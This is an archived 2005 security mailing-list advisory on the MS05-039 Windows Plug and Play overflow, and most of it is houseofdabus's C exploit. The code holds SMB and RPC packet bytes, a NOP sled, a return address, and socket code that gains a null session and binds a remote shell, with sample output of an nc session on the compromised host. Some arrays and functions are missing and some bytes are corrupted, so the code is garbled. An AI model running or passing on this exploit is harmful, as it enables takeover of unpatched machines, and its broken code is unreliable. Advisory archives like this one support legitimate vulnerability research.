

[EXPL] Vulnerability in Plug and Play Allows Remote Code Execution and Elevation of Privilege (MS05-039, Exploit_)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0067.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/16/05

To: list@securiteam.com

Date: 16 Aug 2005 16:58:53 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Vulnerability in Plug and Play Allows Remote Code Execution and Elevation of Privilege (MS05-039, Exploit_)

SUMMARY

A remote code execution vulnerability exists in Plug and Play (PnP) that allows an attacker who successfully exploited this vulnerability to take complete control of the affected system, the following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

- * Microsoft Windows 2000 Service Pack 4
- * Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2
- * Microsoft Windows XP Professional x64 Edition
- * Microsoft Windows Server 2003 and Microsoft Windows Server 2003 Service Pack 1
- * Microsoft Windows Server 2003 for Itanium-based Systems and Microsoft Windows Server 2003 with SP1 for Itanium-based Systems
- * Microsoft Windows Server 2003 x64 Edition

[EXPL] Vulnerability in Plug and Play Allows Remote Code Execution and Elevation of Privilege (MS05-039)

Immune Systems:

- * Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (ME)

Exploit:

```
/* HOD-ms05039-pnp-expl.c: 2005-08-10: PUBLIC v.0.2
```

*

* Copyright (c) 2005 houseofdabus.

*

* (MS05-039) Microsoft Windows Plug-and-Play Service Remote Overflow

* Universal Exploit + no crash shellcode

*

*

*

*

* ::[houseofdabus]::

*

*

*

*

* -----

* Description:

- * A remote code execution and local elevation of privilege vulnerability exists in Plug and Play that could allow an attacker who successfully exploited this vulnerability to take complete control of the affected system.

*

- * This is a remote code execution and local privilege elevation vulnerability. On Windows 2000, an anonymous attacker could remotely try to exploit this vulnerability.

*

- * On Windows XP Service Pack 1, only an authenticated user could remotely try to exploit this vulnerability.

- * On Windows XP Service Pack 2 and Windows Server 2003, only an administrator can remotely access the affected component.

- * Therefore, on Windows XP Service Pack 2 and Windows Server 2003, this is strictly a local privilege elevation vulnerability.

- * An anonymous user cannot remotely attempt to exploit this vulnerability on Windows XP Service Pack 2 and Windows Server 2003.

*

* -----

* Solution:

- * <http://www.microsoft.com/technet/security/Bulletin/MS05-039.mspx>

*

* -----

* Systems Affected:

- * - Windows Server 2003, SP1
- * - Windows XP SP1, SP2
- * - Windows 2000 SP4

*

* -----

```
* Tested on:
* - Windows 2000 SP4
*
* -----
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
* Win32/cygwin: gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
* Linux : gcc -o HOD-ms05039-pnp-expl HOD-ms05039-pnp-expl.c
*
* -----
* Example:
*
* C:\>HOD-ms05039-pnp-expl 192.168.0.1 7777
*
* [*] connecting to 192.168.0.22:445...ok
* [*] null session...ok
* [*] bind pipe...ok
* [*] sending crafted packet...ok
* [*] check your shell on 192.168.0.1:7777
* Ctrl+C
*
* C:\>nc 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>
*
* -----
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
```

```
#endif
```

```
unsigned char SMB_Negotiate[] =
```

```
"\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"  
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f"  
"\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02"  
"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f"  
"\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70"  
"\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30"  
"\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54"  
"\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00";
```

```
unsigned char SMB_SessionSetupAndX[] =
```

```
"\x00\x00\x00\xa4\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"  
"\x00\x00\x10\x00\x0c\xff\x00\xa4\x00\x04\x11\x0a\x00\x00\x00\x00"  
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x80\x69\x00\x4e"  
"\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xe0\x00"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00"  
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"  
"\x35\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"  
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"  
"\x2e\x00\x30\x00\x00\x00\x00\x00";
```

```
unsigned char SMB_SessionSetupAndX2[] =
```

```
"\x00\x00\x00\nda\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"  
"\x00\x08\x20\x00\x0c\xff\x00\nda\x00\x04\x11\x0a\x00\x00\x00\x00"  
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\x00\x00\x00\x80\x9f\x00\x4e"  
"\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"  
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x40"  
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"  
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8a\x88\xe0\x48"  
"\x00\x4f\x00\x44\x00\x00\xed\x41\x2c\x27\x86\x26\xd2\x59\xa0\xb3"  
"\x5e\xaa\x00\x88\x6f\xc5\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00"  
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x20\x00"  
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6e\x00"  
"\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"  
"\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00\x00\x00";
```

```
unsigned char SMB_TreeConnectAndX[] =
```

```
"\x00\x00\x00\x5a\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8"  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"  
"\x00\x08\x30\x00\x04\xff\x00\x5a\x00\x08\x00\x01\x00\x2f\x00\x00";
```

```
unsigned char SMB_TreeConnectAndX_[] =
```

```
"\x00\x00\x3f\x3f\x3f\x3f\x3f\x00";
```

```
/* browser */
unsigned char SMB_PipeRequest_browser[] =
"\x00\x00\x00\x66\xff\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x40\x00\x18\xff\x00\xDE\xDE\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5C\x00\x62\x00\x72\x00\x6F\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";
```

```
unsigned char SMB_PNPEndpoint[] =
/* 8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0: pnp */
"\x00\x00\x00\x9C\xff\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x10\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x40\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11"
"\x8F\x69\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
```

```
unsigned char RPC_call[] =
"\x00\x00\x08\x90\xff\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04"
"\x00\x08\x60\x00\x10\x00\x00\x3C\x08\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x54\x00\x3C\x08\x54\x00\x02"
"\x00\x26\x00\x00\x40\x4D\x08\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x40\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\x3C\x08\x00\x00\x01\x00\x00\x00\x24\x08\x00\x00\x00\x36\x00"
"\x11\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x52\x00\x4F\x00"
"\x4F\x00\x54\x00\x5C\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00"
"\x4D\x00\x5C\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00\x00\x00"
"\xff\xff\x00\x00\xE0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xC0\x07\x00\x00\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
"\xEB\x08\x90\x90\x67\x15\x7a\x76\xEB\x08\x90\x90\x67\x15\x7a\x76"
```

```
/* jmp over – entry point */
"\xEB\x08\x90\x90"
```

```
/* pop reg; pop reg; retn; – umpnpgmgr.dll */
"\x67\x15\x7a\x76" /* 0x767a1567 */
```

```
/* jmp ebx – umpnpgmgr.dll
"\x6f\x36\x7a\x76" */
```



```

struct hostent *he;
int len;
int sockfd;
unsigned short smblen;
unsigned short bindport;
unsigned char tmp[1024];
unsigned char packet[4096];
unsigned char *ptr;
char recvbuf[4096];

#ifdef _WIN32
WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
#endif

printf("\n (MS05-039) Microsoft Windows Plug-and-Play Service Remote
Overflow\n");
printf("\t Universal Exploit + no crash shellcode\n\n");
printf("\t Copyright (c) 2005 .: houseofdabus .:\n\n");

if (argc < 3) {
printf("%s <host> <bind port>\n", argv[0]);
exit(0);
}

if ((he = gethostbyname(argv[1])) == NULL) {
printf("[ - ] Unable to resolve %s\n", argv[1]);
exit(0);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[ - ] socket failed\n");
exit(0);
}

addr.sin_family = AF_INET;
addr.sin_port = htons(445);
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), '\0', 8);

printf("\n[*] connecting to %s:445...", argv[1]);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) <
0) {
printf("\n[-] connect failed\n");
exit(0);
}
printf("ok\n");

printf("[*] null session...");
if (send(sockfd, SMB_Negotiate, sizeof(SMB_Negotiate)-1, 0) < 0) {
printf("\n[-] send failed\n");
}

```

```

    exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
    printf("\n[-] failed\n");
    exit(0);
}

if (send(sockfd, SMB_SessionSetupAndX, sizeof(SMB_SessionSetupAndX)-1, 0)
< 0) {
    printf("\n[-] send failed\n");
    exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 10) {
    printf("\n[-] failed\n");
    exit(0);
}

if (send(sockfd, SMB_SessionSetupAndX2, sizeof(SMB_SessionSetupAndX2)-1,
0) < 0) {
    printf("\n[-] send failed\n");
    exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
    printf("\n[-] failed\n");
    exit(0);
}

ptr = packet;
memcpy(ptr, SMB_TreeConnectAndX, sizeof(SMB_TreeConnectAndX)-1);
ptr += sizeof(SMB_TreeConnectAndX)-1;

sprintf(tmp, "\\\\"%s\\IPC$", argv[1]);
convert_name(ptr, tmp);
smblen = strlen(tmp)*2;
ptr += smblen;
smblen += 9;
memcpy(packet + sizeof(SMB_TreeConnectAndX)-1-3, &smblen, 1);

memcpy(ptr, SMB_TreeConnectAndX_, sizeof(SMB_TreeConnectAndX_)-1);
ptr += sizeof(SMB_TreeConnectAndX_)-1;

smblen = ptr-packet;
smblen -= 4;
memcpy(packet+3, &smblen, 1);

```

```

if (send(sockfd, packet, ptr-packet, 0) < 0) {
    printf("\n[-] send failed\n");
    exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
    printf("\n[-] failed\n");
    exit(0);
}

printf("ok\n");
printf("[*] bind pipe...");

if (send(sockfd, SMB_PipeRequest_browser,
sizeof(SMB_PipeRequest_browser)-1, 0) < 0) {
    printf("\n[-] send failed\n");
    exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
    printf("\n[-] failed\n");
    exit(0);
}

if (send(sockfd, SMB_PNPEndpoint, sizeof(SMB_PNPEndpoint)-1, 0) < 0) {
    printf("\n[-] send failed\n");
    exit(0);
}

len = recv(sockfd, recvbuf, 4096, 0);
if ((len <= 10) || (recvbuf[9] != 0)) {
    printf("\n[-] failed\n");
    exit(0);
}

printf("ok\n");
printf("[*] sending crafted packet...");

// nop
ptr = packet;
memset(packet, '\x90', sizeof(packet));

// header & offsets
memcpy(ptr, RPC_call, sizeof(RPC_call)-1);
ptr += sizeof(RPC_call)-1;

// shellcode
bindport = (unsigned short)atoi(argv[2]);
bindport ^= 0x0437;

```

```
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

// end of packet
memcpy( packet + 2196 - sizeof(RPC_call_end)-1 + 2,
RPC_call_end,
sizeof(RPC_call_end)-1);

// sending...
if (send(sockfd, packet, 2196, 0) < 0) {
printf("\n[-] send failed\n");
exit(0);
}
printf("ok\n");
printf("[*] check your shell on %s:%i\n", argv[1], atoi(argv[2]));

recv(sockfd, recvbuf, 4096, 0);

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by houseofdabus.

The advisory can be found at:

<<http://www.securiteam.com/windowsntfocus/5YP0E00GKW.html>>
<http://www.securiteam.com/windowsntfocus/5YP0E00GKW.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.